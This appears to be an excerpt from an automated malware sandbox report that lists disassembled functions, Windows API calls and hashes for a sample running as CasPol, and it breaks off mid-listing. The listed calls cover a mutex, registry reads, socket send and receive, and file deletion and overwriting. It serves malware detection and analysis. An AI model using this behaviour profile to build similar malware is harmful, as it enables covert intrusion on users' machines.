                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Info
                                                                                    • String ID: $fD
                                                                                    • API String ID: 1807457897-3092946448
                                                                                    • Opcode ID: 087e75d6d0c5dfc266f8d0db6dc2d9c8bdf64c075b99d56c4e0ad6347b3f9d1b
                                                                                    • Instruction ID: 070357306f4c5095a08430c9ceac02bf5c2973ae7142a422f036c1757655e3b4
                                                                                    • Opcode Fuzzy Hash: 087e75d6d0c5dfc266f8d0db6dc2d9c8bdf64c075b99d56c4e0ad6347b3f9d1b
                                                                                    • Instruction Fuzzy Hash: C241FA7090439C9AEB218F24CCC4BF6BBB9DF45308F1404EEE59A87242D279AE45DF65
                                                                                    Function 0040BED7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateMutexA.KERNELBASE(00000000,00000001,00000000,0040D9AA,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 0040BEE6
                                                                                    • GetLastError.KERNEL32 ref: 0040BEF1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateErrorLastMutex
                                                                                    • String ID: (CG
                                                                                    • API String ID: 1925916568-4210230975
                                                                                    • Opcode ID: 30c79194240bed052ca1f52dafa43431944ff159ec99ecee2a6806439040bd80
                                                                                    • Instruction ID: f970ec9d0541ab61c93bafde2a4f59c5c821b48a7874ab2150ad5935bc14b509
                                                                                    • Opcode Fuzzy Hash: 30c79194240bed052ca1f52dafa43431944ff159ec99ecee2a6806439040bd80
                                                                                    • Instruction Fuzzy Hash: 75D012707083009BD7181774BC8A77D3555E784703F00417AB90FD55E1CB6888409919
                                                                                    Function 00412513 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                                                    • RegQueryValueExA.KERNEL32 ref: 00412554
                                                                                    • RegCloseKey.KERNEL32(?), ref: 0041255F
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID:
                                                                                    • API String ID: 3677997916-0
                                                                                    • Opcode ID: 147e62fc4eb0db3fe2726599cc038d375497f210b40a1d92884617782f01b657
                                                                                    • Instruction ID: 155fce86b91483c744b9f02885d56de91ccd1cdd8f33956e2d71fd22bd1c87ae
                                                                                    • Opcode Fuzzy Hash: 147e62fc4eb0db3fe2726599cc038d375497f210b40a1d92884617782f01b657
                                                                                    • Instruction Fuzzy Hash: F0F08176900118BBCB209BA1ED48DEF7FBDEB44751F004066BA06E2150D6749E55DBA8
                                                                                    Function 004124B7 Relevance: 4.5, APIs: 3, Instructions: 38registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004124D7
                                                                                    • RegQueryValueExA.KERNEL32 ref: 004124F5
                                                                                    • RegCloseKey.KERNEL32(?), ref: 00412500
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID:
                                                                                    • API String ID: 3677997916-0
                                                                                    • Opcode ID: 9045fb9a7a6208df116313aaf282ceb7280aaf27367a6f7e2add9e4d3bf57581
                                                                                    • Instruction ID: 3c8b5742b91bab9b7a0bfd6479237677f271592d1db5ef4b45a1d16c6b8d7bbd
                                                                                    • Opcode Fuzzy Hash: 9045fb9a7a6208df116313aaf282ceb7280aaf27367a6f7e2add9e4d3bf57581
                                                                                    • Instruction Fuzzy Hash: C0F03A76900208BFDF119FA0AC45FDF7BB9EB04B55F1040A1FA05F6291D670DA54EB98
                                                                                    Function 0041246E Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00412485
                                                                                    • RegQueryValueExA.KERNEL32 ref: 00412499
                                                                                    • RegCloseKey.KERNEL32(?), ref: 004124A4
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID:
                                                                                    • API String ID: 3677997916-0
                                                                                    • Opcode ID: e297991b72ec1606279c96c89a25a7ac8737aea41b7b6b8683e2e1c686c69e22
                                                                                    • Instruction ID: 2a31b93e49ffe9e6f23ef690bd11c8afd6de107f9352384350bf23698ee7218d
                                                                                    • Opcode Fuzzy Hash: e297991b72ec1606279c96c89a25a7ac8737aea41b7b6b8683e2e1c686c69e22
                                                                                    • Instruction Fuzzy Hash: 46E06531405234BBDF314BA2AD0DDDB7FACEF16BA17004061BC09A2251D2658E50E6E8
                                                                                    Function 00409517 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _wcslen
                                                                                    • String ID: xAG
                                                                                    • API String ID: 176396367-2759412365
                                                                                    • Opcode ID: 5b2808d6a420319a8e352f948dca3b51851caf84ac7e067c3f15d365214f07ca
                                                                                    • Instruction ID: 4b5f0267b16b6d1f94f05398eea60063c36f9fdec9e789d07f1c8464d26cb595
                                                                                    • Opcode Fuzzy Hash: 5b2808d6a420319a8e352f948dca3b51851caf84ac7e067c3f15d365214f07ca
                                                                                    • Instruction Fuzzy Hash: 751193325002049FCB15FF66D8968EF7BA4EF64314B10453FF842622E2EF38A955CB98
                                                                                    Function 0043953B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    • abcdefghijklmnopqrstuvwxyz, xrefs: 00439542
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __alldvrm
                                                                                    • String ID: abcdefghijklmnopqrstuvwxyz
                                                                                    • API String ID: 65215352-1277644989
                                                                                    • Opcode ID: 50b5cc5a4380211a004b05f2b27494844dc42525487bde0b44d31bc4db9ae4ad
                                                                                    • Instruction ID: 3b028cf222364df75526d0e3dbe72fb2aae39d9b1d417051ada9289ab25d20aa
                                                                                    • Opcode Fuzzy Hash: 50b5cc5a4380211a004b05f2b27494844dc42525487bde0b44d31bc4db9ae4ad
                                                                                    • Instruction Fuzzy Hash: 9201D8B2910308BFEF29DF69C841B6E77A8EB05328F11555FE80697201D2B99D408B59
                                                                                    Function 0044785D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,1AE85006,00000001,?,0043B995), ref: 004478CE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: String
                                                                                    • String ID: LCMapStringEx
                                                                                    • API String ID: 2568140703-3893581201
                                                                                    • Opcode ID: bfa8507c05aaf59a1b65123d696e4265d6ae70caa07f5ecb030579337eb990e7
                                                                                    • Instruction ID: 749e071dddadb0611b3357a2cf1c840dd35b3db394ad94bf3c266594d1e105ea
                                                                                    • Opcode Fuzzy Hash: bfa8507c05aaf59a1b65123d696e4265d6ae70caa07f5ecb030579337eb990e7
                                                                                    • Instruction Fuzzy Hash: D4012932504209FBDF12AF90DC06EEE7F62EF09755F008165FE0865161C7369971EB99
                                                                                    Function 004473BA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Alloc
                                                                                    • String ID: FlsAlloc
                                                                                    • API String ID: 2773662609-671089009
                                                                                    • Opcode ID: eb9744b0f99d01425a23a469579f78c82d33e3ecb83b5d68344d66ff2f79c789
                                                                                    • Instruction ID: 24f66c7253cb77c9f437760898e342ee7dcb6335a46030aa2dd544025cc123c2
                                                                                    • Opcode Fuzzy Hash: eb9744b0f99d01425a23a469579f78c82d33e3ecb83b5d68344d66ff2f79c789
                                                                                    • Instruction Fuzzy Hash: B8E05530A8420AA7D214AF20AC03A2EFB54CF04762F0005AAFC0493342CE388E01D1DE
                                                                                    Function 00438E57 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • try_get_function.LIBVCRUNTIME ref: 00438E6C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: try_get_function
                                                                                    • String ID: FlsAlloc
                                                                                    • API String ID: 2742660187-671089009
                                                                                    • Opcode ID: b1cba7f0218e917ff68914ef6add9c5828cf048b7d115dedf5b4937681f64105
                                                                                    • Instruction ID: a0307b958b0d3629ed7144d0bc7264abd5bab77eff0b6699954acb4a337da6a1
                                                                                    • Opcode Fuzzy Hash: b1cba7f0218e917ff68914ef6add9c5828cf048b7d115dedf5b4937681f64105
                                                                                    • Instruction Fuzzy Hash: 5ED0C231684338A3C1002684AC02B9ABF049B00FB3F0505B7FD08A12938D6A5810A6CE
                                                                                    Function 0044DE89 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0044DA5C: GetOEMCP.KERNEL32(00000000,?,?,0044DCE5,?), ref: 0044DA87
                                                                                    • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044DD2A,?,00000000), ref: 0044DEFD
                                                                                    • GetCPInfo.KERNEL32(00000000,0044DD2A,?,?,?,0044DD2A,?,00000000), ref: 0044DF10
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CodeInfoPageValid
                                                                                    • String ID:
                                                                                    • API String ID: 546120528-0
                                                                                    • Opcode ID: 53f6a56cd97a0974a2183497a5087aed56a9e6d0f65aaaec85088475c598411f
                                                                                    • Instruction ID: df262af5b8aedb6acfa17e1c9bcd504f5ccc85cb1eacd95bde0bd7f7b44a6e87
                                                                                    • Opcode Fuzzy Hash: 53f6a56cd97a0974a2183497a5087aed56a9e6d0f65aaaec85088475c598411f
                                                                                    • Instruction Fuzzy Hash: C2513370D042059EFB348F72C8856BBBBA5AF41304F14446FD0978B252D67DA94ACB99
                                                                                    Function 0044DCC8 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                      • Part of subcall function 0044DDE7: _abort.LIBCMT ref: 0044DE19
                                                                                      • Part of subcall function 0044DDE7: _free.LIBCMT ref: 0044DE4D
                                                                                      • Part of subcall function 0044DA5C: GetOEMCP.KERNEL32(00000000,?,?,0044DCE5,?), ref: 0044DA87
                                                                                    • _free.LIBCMT ref: 0044DD40
                                                                                    • _free.LIBCMT ref: 0044DD76
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorLast_abort
                                                                                    • String ID:
                                                                                    • API String ID: 2991157371-0
                                                                                    • Opcode ID: 9ec75d27e75173005142ff49c1fb8a194fa534556bd27181e1428d408c7a2cd6
                                                                                    • Instruction ID: 78e98af2e08dba5698695eadbe882f177ccac690bbf417dcf661007a8bbce0b0
                                                                                    • Opcode Fuzzy Hash: 9ec75d27e75173005142ff49c1fb8a194fa534556bd27181e1428d408c7a2cd6
                                                                                    • Instruction Fuzzy Hash: CE31E4B1D04108AFFB14EF69D441B9A77F4DF41324F25409FE9049B2A2EB799D41CB58
                                                                                    Function 00447174 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetProcAddress.KERNEL32(00000000,0000000A,00000000,00000000,00000000,?,004474E3,00000006,FlsSetValue,0045D328,FlsSetValue,00000000,00000364,?,00446F91,00000000), ref: 004471D4
                                                                                    • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 004471E1
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc__crt_fast_encode_pointer
                                                                                    • String ID:
                                                                                    • API String ID: 2279764990-0
                                                                                    • Opcode ID: d60c3e2bfe9cc093b3110c1e14b53e816b2a5bac2969881e56f7ec686a65f544
                                                                                    • Instruction ID: 6f7a2b722a2a1d8c8194c8cb68bd8fc2eac5a8381c6f9e3e6965fab01942ac9c
                                                                                    • Opcode Fuzzy Hash: d60c3e2bfe9cc093b3110c1e14b53e816b2a5bac2969881e56f7ec686a65f544
                                                                                    • Instruction Fuzzy Hash: 8A110233A041629BFB329F68EC4099B7395AB803747164672FD19AB344DB34EC4386E9
                                                                                    Function 004041F1 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                                                      • Part of subcall function 00404262: WSAStartup.WS2_32(00000202,00000000), ref: 00404277
                                                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404252
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateEventStartupsocket
                                                                                    • String ID:
                                                                                    • API String ID: 1953588214-0
                                                                                    • Opcode ID: 854d00471859da485f7a9b00171063840124e4cdae7de36f8ad07afc2a8c10ec
                                                                                    • Instruction ID: 6d5c4ce7eefecebe47fda3b025552a79fd8a61a73b62065855ea20d17e135052
                                                                                    • Opcode Fuzzy Hash: 854d00471859da485f7a9b00171063840124e4cdae7de36f8ad07afc2a8c10ec
                                                                                    • Instruction Fuzzy Hash: A20171B05087809ED7358F38B8456977FE0AB15314F044DAEF1D697BA1C3B5A481CB18
                                                                                    Function 0043360D Relevance: 3.0, APIs: 2, Instructions: 38COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00433DE7
                                                                                      • Part of subcall function 00437BD7: RaiseException.KERNEL32(?,?,00434411,?,?,?,?,?,?,?,?,00434411,?,0046D644,0041AD75,?), ref: 00437C37
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00433E04
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Exception@8Throw$ExceptionRaise
                                                                                    • String ID:
                                                                                    • API String ID: 3476068407-0
                                                                                    • Opcode ID: ca8d12d1bb19971654d320bfca792809b81dc862abe4bfabe6ca54b6005cefd2
                                                                                    • Instruction ID: 1b32a2814776e74a5aaecdac66354fa275a8f3c838098619b8de34dc4906cb01
                                                                                    • Opcode Fuzzy Hash: ca8d12d1bb19971654d320bfca792809b81dc862abe4bfabe6ca54b6005cefd2
                                                                                    • Instruction Fuzzy Hash: 33F02B30C0020D77CB14BEA5E80699D772C4D08319F20923BB920915E1EF7CEB05858D
                                                                                    Function 00437ECF Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00438E57: try_get_function.LIBVCRUNTIME ref: 00438E6C
                                                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00437EED
                                                                                    • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00437EF8
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
                                                                                    • String ID:
                                                                                    • API String ID: 806969131-0
                                                                                    • Opcode ID: b143fc5c6894dc50f93e5526221a244408d4657bcec4ada42a0f1b5aca1b3c68
                                                                                    • Instruction ID: ae9b6128b1ea9ffe86f5afd704093ee73625e806026b45b402e8089d921c29d6
                                                                                    • Opcode Fuzzy Hash: b143fc5c6894dc50f93e5526221a244408d4657bcec4ada42a0f1b5aca1b3c68
                                                                                    • Instruction Fuzzy Hash: E1D0A7F101C3805C9D2062752C036561344A809B78FB036CFF174D5DC1EE2D8840A41E
                                                                                    Function 0044EEB5 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00448706: RtlAllocateHeap.NTDLL(00000008,0000000A,00000000,?,00446F74,00000001,00000364,?,?,00440C7E,00000000,0000000A,000000FF,0000000A,00000000,?), ref: 00448747
                                                                                    • _free.LIBCMT ref: 0044EF21
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateHeap_free
                                                                                    • String ID:
                                                                                    • API String ID: 614378929-0
                                                                                    • Opcode ID: 7b4a2f6e9a04df5b0dd70cdaf72135a4707c1be432060349675b23e62071eba1
                                                                                    • Instruction ID: 91765bf56145836b352927287b0900a7be963fc320189fecf9c5ab0789588b10
                                                                                    • Opcode Fuzzy Hash: 7b4a2f6e9a04df5b0dd70cdaf72135a4707c1be432060349675b23e62071eba1
                                                                                    • Instruction Fuzzy Hash: 2D01DB771043056BF321CF66984595AFBD9FB8A370F65051EE59453280EB34A806C778
                                                                                    Function 00448706 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RtlAllocateHeap.NTDLL(00000008,0000000A,00000000,?,00446F74,00000001,00000364,?,?,00440C7E,00000000,0000000A,000000FF,0000000A,00000000,?), ref: 00448747
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateHeap
                                                                                    • String ID:
                                                                                    • API String ID: 1279760036-0
                                                                                    • Opcode ID: 312c12ffde6a647d33f516a49ed2b80b9a93d0109b1a3352aa23be3e2c0072ab
                                                                                    • Instruction ID: 09342868e9f2d6cc7f7b696f5049c05c0568eaa44df27644d65b9450949fa691
                                                                                    • Opcode Fuzzy Hash: 312c12ffde6a647d33f516a49ed2b80b9a93d0109b1a3352aa23be3e2c0072ab
                                                                                    • Instruction Fuzzy Hash: 9CF0E93250412467BB216A369D55B5F7748AF427B0B34802BFC08EA691DF68DD4182ED
                                                                                    Function 00446AFF Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RtlAllocateHeap.NTDLL(00000000,00434403,?,?,00437227,?,?,?,?,?,0040CC87,00434403,?,?,?,?), ref: 00446B31
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateHeap
                                                                                    • String ID:
                                                                                    • API String ID: 1279760036-0
                                                                                    • Opcode ID: 382123f4ff15faebfb065adfee4593ee0e25617df91b7722ec70fd9da05ca189
                                                                                    • Instruction ID: 23017b4f7b15ec8d1e6c8205d578d5100ba2a3a3bb6c043e3f5ab96588fe2cc9
                                                                                    • Opcode Fuzzy Hash: 382123f4ff15faebfb065adfee4593ee0e25617df91b7722ec70fd9da05ca189
                                                                                    • Instruction Fuzzy Hash: 16E0E5312002B556FB202A6A9C05F5B7A88DB437A4F160133AC09D62D0CF5CEC4181AF
                                                                                    Function 00404262 Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WSAStartup.WS2_32(00000202,00000000), ref: 00404277
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Startup
                                                                                    • String ID:
                                                                                    • API String ID: 724789610-0
                                                                                    • Opcode ID: 95a2dab67d29c7ac03eac8c0eb79289a66407e1e5cc97b6f0f8b459783d59ee5
                                                                                    • Instruction ID: eac2355bac846bce9fd0ddf676e945afe2a4b646382637a0be3cadb4b1fbcda1
                                                                                    • Opcode Fuzzy Hash: 95a2dab67d29c7ac03eac8c0eb79289a66407e1e5cc97b6f0f8b459783d59ee5
                                                                                    • Instruction Fuzzy Hash: E1D012325596084ED610AAB8AC0F8A47B5CD317611F0003BA6CB5826E3E640661CC6AB
                                                                                    Function 004260F7 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: recv
                                                                                    • String ID:
                                                                                    • API String ID: 1507349165-0
                                                                                    • Opcode ID: 7e529be0125f3c130d8a14787ec60c5f2794d52df3155d2474e8bb3275198ed8
                                                                                    • Instruction ID: fbcf0fb35859d26dd0bec2a34c6193cd90ff2e5205aa97c5c9b80f8ed11fde70
                                                                                    • Opcode Fuzzy Hash: 7e529be0125f3c130d8a14787ec60c5f2794d52df3155d2474e8bb3275198ed8
                                                                                    • Instruction Fuzzy Hash: 35B09279118202FFCA051B60DC0887ABEBAABCC381F108D2DB586501B0CA37C451AB26
                                                                                    Function 0042610E Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: send
                                                                                    • String ID:
                                                                                    • API String ID: 2809346765-0
                                                                                    • Opcode ID: 95a0fd16484bf767f6aff194c57c23075fd16a0a1a5a2095ebc589c6d407ffe4
                                                                                    • Instruction ID: f30177ef1ac25d972003a71432bbdafa3536f6886768dd9ca1b11e7f0a6bf502
                                                                                    • Opcode Fuzzy Hash: 95a0fd16484bf767f6aff194c57c23075fd16a0a1a5a2095ebc589c6d407ffe4
                                                                                    • Instruction Fuzzy Hash: 4FB09279118302BFCA051B60DC0887A7EBAABC9381B108C2CB146512B0CA37C490EB36

                                                                                    Non-executed Functions

                                                                                    Function 00406F06 Relevance: 46.3, APIs: 10, Strings: 16, Instructions: 849filesleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SetEvent.KERNEL32(?,?), ref: 00406F28
                                                                                    • GetFileAttributesW.KERNEL32(00000000,00000000,00000000), ref: 00406FF8
                                                                                    • DeleteFileW.KERNEL32(00000000), ref: 00407018
                                                                                      • Part of subcall function 0041B42F: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B489
                                                                                      • Part of subcall function 0041B42F: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B4BB
                                                                                      • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B50C
                                                                                      • Part of subcall function 0041B42F: FindClose.KERNEL32(00000000,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B561
                                                                                      • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,004742E0,004742F8), ref: 0041B568
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                      • Part of subcall function 00406BE9: CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 00406C38
                                                                                      • Part of subcall function 00406BE9: WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00406C80
                                                                                      • Part of subcall function 00406BE9: CloseHandle.KERNEL32(00000000), ref: 00406CC0
                                                                                      • Part of subcall function 00406BE9: MoveFileW.KERNEL32 ref: 00406CDD
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                      • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(?,00000000,00401943,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000), ref: 0040450E
